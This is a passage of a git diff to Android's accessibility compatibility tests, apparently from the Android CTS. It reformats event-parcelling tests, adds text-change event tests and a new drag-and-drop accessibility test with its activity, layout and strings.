+                    == AccessibilityEvent.CONTENT_CHANGE_TYPE_STATE_DESCRIPTION) {
+                mCount += 1;
+                mEvents.add(event);
+                return mCount >= mTargetCount;
+            }
+            return false;
+        }
+    }
+    ;
+
+    private abstract class AccessibilityEventFilter
+            implements UiAutomation.AccessibilityEventFilter {
+        protected List<AccessibilityEvent> mEvents = new ArrayList<>();
+
+        public abstract boolean accept(AccessibilityEvent event);
 
         void assertReceivedEventCount(int count) {
-            assertEquals(count, filteredEventsReceived().size());
+            assertEquals(count, mEvents.size());
         }
 
         AccessibilityEvent getLastEvent() {
-            List<AccessibilityEvent> events = filteredEventsReceived();
-            if (events.size() > 0) {
-                return events.get(events.size() - 1);
+            if (mEvents.size() > 0) {
+                return mEvents.get(mEvents.size() - 1);
             }
             return null;
         }
-
-        private List<AccessibilityEvent> filteredEventsReceived() {
-            List<AccessibilityEvent> filteredEvents = new ArrayList<AccessibilityEvent>();
-            List<AccessibilityEvent> receivedEvents = mParentView.mReceivedEvents;
-            for (int i = 0; i < receivedEvents.size(); i++) {
-                if (pass(receivedEvents.get(i))) {
-                    filteredEvents.add(receivedEvents.get(i));
-                }
-            }
-            return filteredEvents;
-        }
     }
 
     private void sendStateDescriptionChangedEvent(View view) {
@@ -261,16 +356,69 @@
     }
 
     private void sendStateDescriptionChangedEvent(View view, CharSequence text) {
-        AccessibilityEvent event = AccessibilityEvent.obtain(
-                AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED);
+        AccessibilityEvent event =
+                AccessibilityEvent.obtain(AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED);
         event.setContentChangeTypes(AccessibilityEvent.CONTENT_CHANGE_TYPE_STATE_DESCRIPTION);
         event.getText().add(text);
         view.sendAccessibilityEventUnchecked(event);
     }
 
+    @Test
+    public void setText_textChanged_receivesTextEvent() throws Throwable {
+        sUiAutomation.executeAndWaitForEvent(
+                () -> sInstrumentation.runOnMainSync(() -> mTextView.setText("a")),
+                event -> isExpectedChangeType(event, AccessibilityEvent.CONTENT_CHANGE_TYPE_TEXT),
+                DEFAULT_TIMEOUT_MS);
+
+        sUiAutomation.executeAndWaitForEvent(
+                () -> {
+                    sInstrumentation.runOnMainSync(
+                            () -> {
+                                mTextView.setText("b");
+                            });
+                },
+                event ->
+                        isExpectedSource(event, mTextView)
+                                && isExpectedChangeType(
+                                        event, AccessibilityEvent.CONTENT_CHANGE_TYPE_TEXT),
+                DEFAULT_TIMEOUT_MS);
+    }
+
+    @Test
+    public void setText_parcelableSpanChanged_receivesUndefinedEvent() throws Throwable {
+        String text = "a";
+        sUiAutomation.executeAndWaitForEvent(
+                () -> sInstrumentation.runOnMainSync(() -> mTextView.setText(text)),
+                event -> isExpectedChangeType(event, AccessibilityEvent.CONTENT_CHANGE_TYPE_TEXT),
+                DEFAULT_TIMEOUT_MS);
+
+        sUiAutomation.executeAndWaitForEvent(
+                () -> {
+                    sInstrumentation.runOnMainSync(
+                            () -> {
+                                SpannableString spannableString = new SpannableString(text);
+                                spannableString.setSpan(new LocaleSpan(Locale.ENGLISH), 0, 1, 0);
+                                mTextView.setText(spannableString);
+                            });
+                },
+                event ->
+                        isExpectedSource(event, mTextView)
+                                && isExpectedChangeType(
+                                        event, AccessibilityEvent.CONTENT_CHANGE_TYPE_UNDEFINED),
+                DEFAULT_TIMEOUT_MS);
+    }
+
+    private static boolean isExpectedSource(AccessibilityEvent event, View view) {
+        return TextUtils.equals(view.getContext().getPackageName(), event.getPackageName())
+                && TextUtils.equals(view.getAccessibilityClassName(), event.getClassName());
+    }
+
+    private static boolean isExpectedChangeType(AccessibilityEvent event, int changeType) {
+        return (event.getContentChangeTypes() & changeType) == changeType;
+    }
+
     /**
-     * Tests whether accessibility events are correctly written and
-     * read from a parcel (version 1).
+     * Tests whether accessibility events are correctly written and read from a parcel (version 1).
      */
     @SmallTest
     @Test
@@ -291,91 +439,88 @@
         parcel.recycle();
     }
 
-    /**
-     * Tests if {@link AccessibilityEvent} are properly reused.
-     */
-    @SmallTest
-    @Test
-    public void testReuse() {
-        AccessibilityEvent firstEvent = AccessibilityEvent.obtain();
-        firstEvent.recycle();
-        AccessibilityEvent secondEvent = AccessibilityEvent.obtain();
-        assertSame("AccessibilityEvent not properly reused", firstEvent, secondEvent);
-    }
-
-    /**
-     * Tests if {@link AccessibilityEvent} are properly recycled.
-     */
+    /** Tests if {@link AccessibilityEvent} can be acquired through obtain(). */
     @SmallTest
     @Test
     public void testRecycle() {
-        // obtain and populate an event
-        AccessibilityEvent populatedEvent = AccessibilityEvent.obtain();
-        fullyPopulateAccessibilityEvent(populatedEvent);
-
-        // recycle and obtain the same recycled instance
-        populatedEvent.recycle();
-        AccessibilityEvent recycledEvent = AccessibilityEvent.obtain();
-
-        // check expectations
-        assertAccessibilityEventCleared(recycledEvent);
+        // evaluate that recycle() can be called on an event acquired by obtain()
+        AccessibilityEvent.obtain().recycle();
     }
 
-    /**
-     * Tests whether the event types are correctly converted to strings.
-     */
+    /** Tests whether the event types are correctly converted to strings. */
     @SmallTest
     @Test
     public void testEventTypeToString() {
-        assertEquals("TYPE_NOTIFICATION_STATE_CHANGED", AccessibilityEvent.eventTypeToString(
-                AccessibilityEvent.TYPE_NOTIFICATION_STATE_CHANGED));
-        assertEquals("TYPE_TOUCH_EXPLORATION_GESTURE_END", AccessibilityEvent.eventTypeToString(
-                AccessibilityEvent.TYPE_TOUCH_EXPLORATION_GESTURE_END));
-        assertEquals("TYPE_TOUCH_EXPLORATION_GESTURE_START", AccessibilityEvent.eventTypeToString(
-                AccessibilityEvent.TYPE_TOUCH_EXPLORATION_GESTURE_START));
-        assertEquals("TYPE_VIEW_CLICKED", AccessibilityEvent.eventTypeToString(
-                AccessibilityEvent.TYPE_VIEW_CLICKED));
-        assertEquals("TYPE_VIEW_FOCUSED", AccessibilityEvent.eventTypeToString(
-                AccessibilityEvent.TYPE_VIEW_FOCUSED));
-        assertEquals("TYPE_VIEW_HOVER_ENTER",
+        assertEquals(
+                "TYPE_NOTIFICATION_STATE_CHANGED",
+                AccessibilityEvent.eventTypeToString(
+                        AccessibilityEvent.TYPE_NOTIFICATION_STATE_CHANGED));
+        assertEquals(
+                "TYPE_TOUCH_EXPLORATION_GESTURE_END",
+                AccessibilityEvent.eventTypeToString(
+                        AccessibilityEvent.TYPE_TOUCH_EXPLORATION_GESTURE_END));
+        assertEquals(
+                "TYPE_TOUCH_EXPLORATION_GESTURE_START",
+                AccessibilityEvent.eventTypeToString(
+                        AccessibilityEvent.TYPE_TOUCH_EXPLORATION_GESTURE_START));
+        assertEquals(
+                "TYPE_VIEW_CLICKED",
+                AccessibilityEvent.eventTypeToString(AccessibilityEvent.TYPE_VIEW_CLICKED));
+        assertEquals(
+                "TYPE_VIEW_FOCUSED",
+                AccessibilityEvent.eventTypeToString(AccessibilityEvent.TYPE_VIEW_FOCUSED));
+        assertEquals(
+                "TYPE_VIEW_HOVER_ENTER",
                 AccessibilityEvent.eventTypeToString(AccessibilityEvent.TYPE_VIEW_HOVER_ENTER));
-        assertEquals("TYPE_VIEW_HOVER_EXIT", AccessibilityEvent.eventTypeToString(
-                AccessibilityEvent.TYPE_VIEW_HOVER_EXIT));
-        assertEquals("TYPE_VIEW_LONG_CLICKED", AccessibilityEvent.eventTypeToString(
-                AccessibilityEvent.TYPE_VIEW_LONG_CLICKED));
-        assertEquals("TYPE_VIEW_CONTEXT_CLICKED", AccessibilityEvent.eventTypeToString(
-                AccessibilityEvent.TYPE_VIEW_CONTEXT_CLICKED));
-        assertEquals("TYPE_VIEW_SCROLLED", AccessibilityEvent.eventTypeToString(
-                AccessibilityEvent.TYPE_VIEW_SCROLLED));
-        assertEquals("TYPE_VIEW_SELECTED", AccessibilityEvent.eventTypeToString(
-                AccessibilityEvent.TYPE_VIEW_SELECTED));
-        assertEquals("TYPE_VIEW_TEXT_CHANGED", AccessibilityEvent.eventTypeToString(
-                AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED));
-        assertEquals("TYPE_VIEW_TEXT_SELECTION_CHANGED", AccessibilityEvent.eventTypeToString(
-                AccessibilityEvent.TYPE_VIEW_TEXT_SELECTION_CHANGED));
-        assertEquals("TYPE_WINDOW_CONTENT_CHANGED", AccessibilityEvent.eventTypeToString(
-                AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED));
-        assertEquals("TYPE_WINDOW_STATE_CHANGED", AccessibilityEvent.eventTypeToString(
-                AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED));
+        assertEquals(
+                "TYPE_VIEW_HOVER_EXIT",
+                AccessibilityEvent.eventTypeToString(AccessibilityEvent.TYPE_VIEW_HOVER_EXIT));
+        assertEquals(
+                "TYPE_VIEW_LONG_CLICKED",
+                AccessibilityEvent.eventTypeToString(AccessibilityEvent.TYPE_VIEW_LONG_CLICKED));
+        assertEquals(
+                "TYPE_VIEW_CONTEXT_CLICKED",
+                AccessibilityEvent.eventTypeToString(AccessibilityEvent.TYPE_VIEW_CONTEXT_CLICKED));
+        assertEquals(
+                "TYPE_VIEW_SCROLLED",
+                AccessibilityEvent.eventTypeToString(AccessibilityEvent.TYPE_VIEW_SCROLLED));
+        assertEquals(
+                "TYPE_VIEW_SELECTED",
+                AccessibilityEvent.eventTypeToString(AccessibilityEvent.TYPE_VIEW_SELECTED));
+        assertEquals(
+                "TYPE_VIEW_TEXT_CHANGED",
+                AccessibilityEvent.eventTypeToString(AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED));
+        assertEquals(
+                "TYPE_VIEW_TEXT_SELECTION_CHANGED",
+                AccessibilityEvent.eventTypeToString(
+                        AccessibilityEvent.TYPE_VIEW_TEXT_SELECTION_CHANGED));
+        assertEquals(
+                "TYPE_WINDOW_CONTENT_CHANGED",
+                AccessibilityEvent.eventTypeToString(
+                        AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED));
+        assertEquals(
+                "TYPE_WINDOW_STATE_CHANGED",
+                AccessibilityEvent.eventTypeToString(AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED));
     }
 
-    /**
-     * Tests whether the event describes its contents consistently.
-     */
+    /** Tests whether the event describes its contents consistently. */
     @SmallTest
     @Test
     public void testDescribeContents() {
         AccessibilityEvent event = AccessibilityEvent.obtain();
-        assertSame("Accessibility events always return 0 for this method.", 0,
+        assertSame(
+                "Accessibility events always return 0 for this method.",
+                0,
                 event.describeContents());
         fullyPopulateAccessibilityEvent(event);
-        assertSame("Accessibility events always return 0 for this method.", 0,
+        assertSame(
+                "Accessibility events always return 0 for this method.",
+                0,
                 event.describeContents());
     }
 
     /**
-     * Tests whether accessibility events are correctly written and
-     * read from a parcel (version 2).
+     * Tests whether accessibility events are correctly written and read from a parcel (version 2).
      */
     @SmallTest
     @Test
@@ -429,8 +574,8 @@
 
         final AccessibilityEvent firstEvent = new AccessibilityEvent();
         firstEvent.setEventType(AccessibilityEvent.TYPE_VIEW_FOCUSED);
-        final AccessibilityEvent secondEvent = new AccessibilityEvent(
-                AccessibilityEvent.TYPE_VIEW_FOCUSED);
+        final AccessibilityEvent secondEvent =
+                new AccessibilityEvent(AccessibilityEvent.TYPE_VIEW_FOCUSED);
 
         assertEqualsAccessibilityEvent(firstEvent, secondEvent);
     }
@@ -475,59 +620,104 @@
     }
 
     /**
-     * Compares all properties of the <code>expectedEvent</code> and the
-     * <code>receivedEvent</code> to verify that the received event is the one
-     * that is expected.
+     * Compares all properties of the <code>expectedEvent</code> and the <code>receivedEvent</code>
+     * to verify that the received event is the one that is expected.
      */
-    private static void assertEqualsAccessibilityEvent(AccessibilityEvent expectedEvent,
-            AccessibilityEvent receivedEvent) {
-        assertEquals("addedCount has incorrect value", expectedEvent.getAddedCount(), receivedEvent
-                .getAddedCount());
-        assertEquals("beforeText has incorrect value", expectedEvent.getBeforeText(), receivedEvent
-                .getBeforeText());
-        assertEquals("checked has incorrect value", expectedEvent.isChecked(), receivedEvent
-                .isChecked());
-        assertEquals("className has incorrect value", expectedEvent.getClassName(), receivedEvent
-                .getClassName());
-        assertEquals("contentDescription has incorrect value", expectedEvent
-                .getContentDescription(), receivedEvent.getContentDescription());
-        assertEquals("currentItemIndex has incorrect value", expectedEvent.getCurrentItemIndex(),
+    private static void assertEqualsAccessibilityEvent(
+            AccessibilityEvent expectedEvent, AccessibilityEvent receivedEvent) {
+        assertEquals(
+                "addedCount has incorrect value",
+                expectedEvent.getAddedCount(),
+                receivedEvent.getAddedCount());
+        assertEquals(
+                "beforeText has incorrect value",
+                expectedEvent.getBeforeText(),
+                receivedEvent.getBeforeText());
+        assertEquals(
+                "checked has incorrect value",
+                expectedEvent.isChecked(),
+                receivedEvent.isChecked());
+        assertEquals(
+                "className has incorrect value",
+                expectedEvent.getClassName(),
+                receivedEvent.getClassName());
+        assertEquals(
+                "contentDescription has incorrect value",
+                expectedEvent.getContentDescription(),
+                receivedEvent.getContentDescription());
+        assertEquals(
+                "currentItemIndex has incorrect value",
+                expectedEvent.getCurrentItemIndex(),
                 receivedEvent.getCurrentItemIndex());
-        assertEquals("enabled has incorrect value", expectedEvent.isEnabled(), receivedEvent
-                .isEnabled());
-        assertEquals("eventType has incorrect value", expectedEvent.getEventType(), receivedEvent
-                .getEventType());
-        assertEquals("fromIndex has incorrect value", expectedEvent.getFromIndex(), receivedEvent
-                .getFromIndex());
-        assertEquals("fullScreen has incorrect value", expectedEvent.isFullScreen(), receivedEvent
-                .isFullScreen());
-        assertEquals("itemCount has incorrect value", expectedEvent.getItemCount(), receivedEvent
-                .getItemCount());
-        assertEquals("password has incorrect value", expectedEvent.isPassword(), receivedEvent
-                .isPassword());
-        assertEquals("removedCount has incorrect value", expectedEvent.getRemovedCount(),
+        assertEquals(
+                "enabled has incorrect value",
+                expectedEvent.isEnabled(),
+                receivedEvent.isEnabled());
+        assertEquals(
+                "eventType has incorrect value",
+                expectedEvent.getEventType(),
+                receivedEvent.getEventType());
+        assertEquals(
+                "fromIndex has incorrect value",
+                expectedEvent.getFromIndex(),
+                receivedEvent.getFromIndex());
+        assertEquals(
+                "fullScreen has incorrect value",
+                expectedEvent.isFullScreen(),
+                receivedEvent.isFullScreen());
+        assertEquals(
+                "itemCount has incorrect value",
+                expectedEvent.getItemCount(),
+                receivedEvent.getItemCount());
+        assertEquals(
+                "password has incorrect value",
+                expectedEvent.isPassword(),
+                receivedEvent.isPassword());
+        assertEquals(
+                "removedCount has incorrect value",
+                expectedEvent.getRemovedCount(),
                 receivedEvent.getRemovedCount());
-        assertSame("maxScrollX has incorrect value", expectedEvent.getMaxScrollX(),
+        assertSame(
+                "maxScrollX has incorrect value",
+                expectedEvent.getMaxScrollX(),
                 receivedEvent.getMaxScrollX());
-        assertSame("maxScrollY has incorrect value", expectedEvent.getMaxScrollY(),
+        assertSame(
+                "maxScrollY has incorrect value",
+                expectedEvent.getMaxScrollY(),
                 receivedEvent.getMaxScrollY());
-        assertSame("scrollX has incorrect value", expectedEvent.getScrollX(),
+        assertSame(
+                "scrollX has incorrect value",
+                expectedEvent.getScrollX(),
                 receivedEvent.getScrollX());
-        assertSame("scrollY has incorrect value", expectedEvent.getScrollY(),
+        assertSame(
+                "scrollY has incorrect value",
+                expectedEvent.getScrollY(),
                 receivedEvent.getScrollY());
-        assertSame("scrollDeltaX has incorrect value", expectedEvent.getScrollDeltaX(),
+        assertSame(
+                "scrollDeltaX has incorrect value",
+                expectedEvent.getScrollDeltaX(),
                 receivedEvent.getScrollDeltaX());
-        assertSame("scrollDeltaY has incorrect value", expectedEvent.getScrollDeltaY(),
+        assertSame(
+                "scrollDeltaY has incorrect value",
+                expectedEvent.getScrollDeltaY(),
                 receivedEvent.getScrollDeltaY());
-        assertSame("toIndex has incorrect value", expectedEvent.getToIndex(),
+        assertSame(
+                "toIndex has incorrect value",
+                expectedEvent.getToIndex(),
                 receivedEvent.getToIndex());
-        assertSame("scrollable has incorrect value", expectedEvent.isScrollable(),
+        assertSame(
+                "scrollable has incorrect value",
+                expectedEvent.isScrollable(),
                 receivedEvent.isScrollable());
-        assertSame("granularity has incorrect value", expectedEvent.getMovementGranularity(),
+        assertSame(
+                "granularity has incorrect value",
+                expectedEvent.getMovementGranularity(),
                 receivedEvent.getMovementGranularity());
-        assertSame("action has incorrect value", expectedEvent.getAction(),
-                receivedEvent.getAction());
-        assertSame("windowChangeTypes has incorrect value", expectedEvent.getWindowChanges(),
+        assertSame(
+                "action has incorrect value", expectedEvent.getAction(), receivedEvent.getAction());
+        assertSame(
+                "windowChangeTypes has incorrect value",
+                expectedEvent.getWindowChanges(),
                 receivedEvent.getWindowChanges());
 
         AccessibilityRecordTest.assertEqualsText(expectedEvent.getText(), receivedEvent.getText());
@@ -536,12 +726,14 @@
         assertEqualAppendedRecord(expectedEvent, receivedEvent);
     }
 
-    private static void assertEqualAppendedRecord(AccessibilityEvent expectedEvent,
-            AccessibilityEvent receivedEvent) {
-        assertEquals("recordCount has incorrect value", expectedEvent.getRecordCount(),
+    private static void assertEqualAppendedRecord(
+            AccessibilityEvent expectedEvent, AccessibilityEvent receivedEvent) {
+        assertEquals(
+                "recordCount has incorrect value",
+                expectedEvent.getRecordCount(),
                 receivedEvent.getRecordCount());
         if (expectedEvent.getRecordCount() != 0 && receivedEvent.getRecordCount() != 0) {
-            AccessibilityRecord expectedRecord =  expectedEvent.getRecord(0);
+            AccessibilityRecord expectedRecord = expectedEvent.getRecord(0);
             AccessibilityRecord receivedRecord = receivedEvent.getRecord(0);
             AccessibilityRecordTest.assertEqualAccessibilityRecord(expectedRecord, receivedRecord);
         }
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityShortcutTest.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityShortcutTest.java
index 58265f8..7bc426f 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityShortcutTest.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityShortcutTest.java
@@ -229,14 +229,16 @@
     @Test
     public void testAccessibilityButtonService_disableSelf_shortcutRemoved() {
         mA11yButtonServiceRule.enableService();
+        // Add one service into the shortcut list to avoid falling back to default accessibility
+        // service when the settings value is empty.
         mShortcutSettingsRule.configureAccessibilityShortcut(
-                sUiAutomation, mA11yButtonServiceName);
+                sUiAutomation, mA11yButtonServiceName, mSpeakingA11yServiceName);
         mShortcutSettingsRule.waitForAccessibilityShortcutStateChange(
-                sUiAutomation, Arrays.asList(mA11yButtonServiceName));
+                sUiAutomation, Arrays.asList(mA11yButtonServiceName, mSpeakingA11yServiceName));
 
         mA11yButtonServiceRule.getService().disableSelfAndRemove();
         mShortcutSettingsRule.waitForAccessibilityShortcutStateChange(sUiAutomation,
-                Collections.emptyList());
+                Arrays.asList(mSpeakingA11yServiceName));
     }
 
     /**
diff --git a/tests/accessibilityservice/AndroidManifest.xml b/tests/accessibilityservice/AndroidManifest.xml
index e10b5a5..ac50d50 100644
--- a/tests/accessibilityservice/AndroidManifest.xml
+++ b/tests/accessibilityservice/AndroidManifest.xml
@@ -76,6 +76,10 @@
              android:theme="@android:style/Theme.Dialog"
              android:screenOrientation="locked"/>
 
+        <activity android:label="@string/accessibility_drag_and_drop_test_activity"
+                  android:name=".activities.AccessibilityDragAndDropActivity"
+                  android:screenOrientation="locked"/>
+
         <service android:name=".StubSystemActionsAccessibilityService"
              android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
              android:exported="true">
diff --git a/tests/accessibilityservice/AndroidTest.xml b/tests/accessibilityservice/AndroidTest.xml
index 7b0d64c..8096d29 100644
--- a/tests/accessibilityservice/AndroidTest.xml
+++ b/tests/accessibilityservice/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command" value="cmd accessibility set-bind-instant-service-allowed true" />
         <option name="teardown-command" value="cmd accessibility set-bind-instant-service-allowed false" />
diff --git a/tests/accessibilityservice/res/layout/accessibility_drag_and_drop.xml b/tests/accessibilityservice/res/layout/accessibility_drag_and_drop.xml
new file mode 100644
index 0000000..93d52a3
--- /dev/null
+++ b/tests/accessibilityservice/res/layout/accessibility_drag_and_drop.xml
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+     Copyright 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+            android:layout_width="match_parent"
+            android:layout_height="match_parent"
+            android:orientation="vertical">
+        <LinearLayout
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:gravity="center"
+            android:orientation="horizontal">
+            <TextView
+                android:id="@+id/source"
+                android:text="@string/drag_and_drop_text"
+                android:layout_width="60dp"
+                android:layout_height="60dp"
+                android:layout_margin="60dp"/>
+            <TextView
+                android:id="@+id/target"
+                android:layout_width="60dp"
+                android:layout_height="60dp"
+                android:layout_margin="60dp"/>
+        </LinearLayout>
+</LinearLayout>
diff --git a/tests/accessibilityservice/res/values/strings.xml b/tests/accessibilityservice/res/values/strings.xml
index dd59c0b..3d3b6be 100644
--- a/tests/accessibilityservice/res/values/strings.xml
+++ b/tests/accessibilityservice/res/values/strings.xml
@@ -57,34 +57,34 @@
     <string name="accessibility_query_window_test_activity">Query window test</string>
 
     <!-- String Button1 text -->
-    <string name="button1">B1</string>
+    <string name="button1">Btn1</string>
 
     <!-- String Button2 text -->
-    <string name="button2">B2</string>
+    <string name="button2">Btn2</string>
 
     <!-- String Button3 text -->
-    <string name="button3">B3</string>
+    <string name="button3">Btn3</string>
 
     <!-- String Button4 text -->
-    <string name="button4">B4</string>
+    <string name="button4">Btn4</string>
 
     <!-- String Button5 text -->
-    <string name="button5">B5</string>
+    <string name="button5">Btn5</string>
 
     <!-- String Button6 text -->
-    <string name="button6">B6</string>
+    <string name="button6">Btn6</string>
 
     <!-- String with content description for Button6 -->
     <string name="contentDescription">contentDescription</string>
 
     <!-- String Button7 text -->
-    <string name="button7">B7</string>
+    <string name="button7">Btn7</string>
 
     <!-- String Button8 text -->
-    <string name="button8">B8</string>
+    <string name="button8">Btn8</string>
 
     <!-- String Button9 text -->
-    <string name="button9">B9</string>
+    <string name="button9">Btn9</string>
 
     <!-- AccessibilityFocusTest -->
 
@@ -195,4 +195,8 @@
     <!-- String title of embedded display activity -->
     <string name="non_default_display_activity">Non default display activity</string>
 
+    <!-- String title of the accessibility drag & drop activity -->
+    <string name="accessibility_drag_and_drop_test_activity">Drag and drop</string>
+    <string name="drag_and_drop_text">Dragged text</string>
+
 </resources>
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityDragAndDropTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityDragAndDropTest.java
new file mode 100644
index 0000000..b876dc0
--- /dev/null
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityDragAndDropTest.java
@@ -0,0 +1,194 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.accessibilityservice.cts;
+
+import static android.accessibilityservice.cts.utils.ActivityLaunchUtils.launchActivityAndWaitForItToBeOnscreen;
+import static android.accessibilityservice.cts.utils.AsyncUtils.DEFAULT_TIMEOUT_MS;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
+import android.accessibilityservice.cts.activities.AccessibilityDragAndDropActivity;
+import android.accessibilityservice.cts.utils.AccessibilityEventFilterUtils;
+import android.app.Instrumentation;
+import android.app.UiAutomation;
+import android.view.View;
+import android.view.accessibility.AccessibilityEvent;
+import android.view.accessibility.AccessibilityNodeInfo;
+import android.widget.TextView;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+
+import org.junit.After;
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.RuleChain;
+
+public class AccessibilityDragAndDropTest {
+    private static Instrumentation sInstrumentation;
+    private static UiAutomation sUiAutomation;
+
+    private AccessibilityDragAndDropActivity mActivity;
+    private TextView mSourceView;
+    private UiAutomation.AccessibilityEventFilter mDragStartedFilter =
+            AccessibilityEventFilterUtils.filterWindowContentChangedWithChangeTypes(
+                    AccessibilityEvent.CONTENT_CHANGE_TYPE_DRAG_STARTED);
+
+    private ActivityTestRule<AccessibilityDragAndDropActivity> mActivityRule =
+            new ActivityTestRule<>(AccessibilityDragAndDropActivity.class, false, false);
+
+    private AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+            new AccessibilityDumpOnFailureRule();
+
+    @Rule
+    public final RuleChain mRuleChain = RuleChain
+            .outerRule(mActivityRule)
+            .around(mDumpOnFailureRule);
+
+    @BeforeClass
+    public static void oneTimeSetup() throws Exception {
+        sInstrumentation = InstrumentationRegistry.getInstrumentation();
+        sUiAutomation = sInstrumentation.getUiAutomation();
+    }
+
+    @AfterClass
+    public static void postTestTearDown() {
+        sUiAutomation.destroy();
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        mActivity = launchActivityAndWaitForItToBeOnscreen(
+                sInstrumentation, sUiAutomation, mActivityRule);
+        mSourceView = mActivity.findViewById(R.id.source);
+    }
+
+    @After
+    public void tearDown() {
+        // Reset system drag state
+        mSourceView.cancelDragAndDrop();
+    }
+
+    @Test
+    public void testStartDrag_eventSentAndActionsUpdated() throws Throwable {
+        AccessibilityEvent startEvent = performActionAndWaitForEvent(mSourceView,
+                AccessibilityNodeInfo.AccessibilityAction.ACTION_DRAG_START, mDragStartedFilter);
+        assertNotNull("Did not receive CONTENT_CHANGE_TYPE_DRAG_STARTED", startEvent);
+
+        final AccessibilityNodeInfo sourceNode = getSourceNode();
+        assertNodeAction(sourceNode, AccessibilityNodeInfo.AccessibilityAction.ACTION_DRAG_CANCEL);
+
+        final AccessibilityNodeInfo targetNode = getTargetNode();
+        assertNodeAction(targetNode, AccessibilityNodeInfo.AccessibilityAction.ACTION_DRAG_DROP);
+    }
+
+    @Test
+    public void testCancelDrag_eventSentAndActionsUpdated() throws Throwable {
+        performActionAndWaitForEvent(mSourceView,
+                AccessibilityNodeInfo.AccessibilityAction.ACTION_DRAG_START,
+                mDragStartedFilter);
+
+        AccessibilityEvent cancelEvent = performActionAndWaitForEvent(mSourceView,
+                AccessibilityNodeInfo.AccessibilityAction.ACTION_DRAG_CANCEL,
+                AccessibilityEventFilterUtils.filterWindowContentChangedWithChangeTypes(
+                        AccessibilityEvent.CONTENT_CHANGE_TYPE_DRAG_CANCELLED));
+
+        assertNotNull("Did not receive CONTENT_CHANGE_TYPE_DRAG_CANCELLED",
+                cancelEvent);
+
+        final AccessibilityNodeInfo sourceNode = getSourceNode();
+        assertNoNodeAction(sourceNode,
+                AccessibilityNodeInfo.AccessibilityAction.ACTION_DRAG_CANCEL);
+        assertNodeAction(sourceNode, AccessibilityNodeInfo.AccessibilityAction.ACTION_DRAG_START);
+
+        final AccessibilityNodeInfo targetNode = getTargetNode();
+        assertNoNodeAction(targetNode, AccessibilityNodeInfo.AccessibilityAction.ACTION_DRAG_DROP);
+    }
+
+    @Test
+    public void testDrop_eventSentAndActionsUpdated() throws Throwable {
+        performActionAndWaitForEvent(mSourceView,
+                AccessibilityNodeInfo.AccessibilityAction.ACTION_DRAG_START, mDragStartedFilter);
+        final TextView target = mActivity.findViewById(R.id.target);
+        AccessibilityEvent dropEvent = performActionAndWaitForEvent(target,
+                AccessibilityNodeInfo.AccessibilityAction.ACTION_DRAG_DROP,
+                AccessibilityEventFilterUtils.filterWindowContentChangedWithChangeTypes(
+                        AccessibilityEvent.CONTENT_CHANGE_TYPE_DRAG_DROPPED));
+
+        assertNotNull("Did not receive CONTENT_CHANGE_TYPE_DRAG_DROPPED",
+                dropEvent);
+
+        final AccessibilityNodeInfo targetNode = getTargetNode();
+        assertEquals("Target text was: " + targetNode.getText(), mSourceView.getText(),
+                targetNode.getText());
+        assertNoNodeAction(targetNode, AccessibilityNodeInfo.AccessibilityAction.ACTION_DRAG_DROP);
+
+        final AccessibilityNodeInfo sourceNode = getSourceNode();
+        assertNoNodeAction(sourceNode,
+                AccessibilityNodeInfo.AccessibilityAction.ACTION_DRAG_CANCEL);
+        assertNodeAction(sourceNode, AccessibilityNodeInfo.AccessibilityAction.ACTION_DRAG_START);
+    }
+
+    private AccessibilityEvent performActionAndWaitForEvent(View view,
+            AccessibilityNodeInfo.AccessibilityAction action,
+            UiAutomation.AccessibilityEventFilter filter) throws Throwable {
+        AccessibilityEvent awaitedEvent =
